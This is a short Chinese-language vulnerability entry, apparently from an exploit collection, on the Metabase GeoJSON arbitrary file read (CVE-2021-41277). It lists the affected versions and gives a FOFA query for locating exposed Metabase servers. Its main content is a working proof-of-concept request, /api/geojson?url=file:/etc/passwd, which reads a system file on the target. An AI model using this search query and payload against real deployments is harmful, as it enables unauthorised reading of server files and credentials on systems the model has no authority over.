# Metabase geojson 任意文件读取漏洞 CVE-2021-41277 ## 漏洞描述 在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息 ## 漏洞影响 ``` metabase version < 0.40.5 metabase version >= 1.0.0, < 1.40.5 ``` ## FOFA ``` app="metabase" ``` ## 漏洞复现 登录页面 ![image-20220524152541900](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205241525945.png) 验证POC ``` /api/geojson?url=file:/etc/passwd ``` ![image-20220524152721994](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205241527087.png)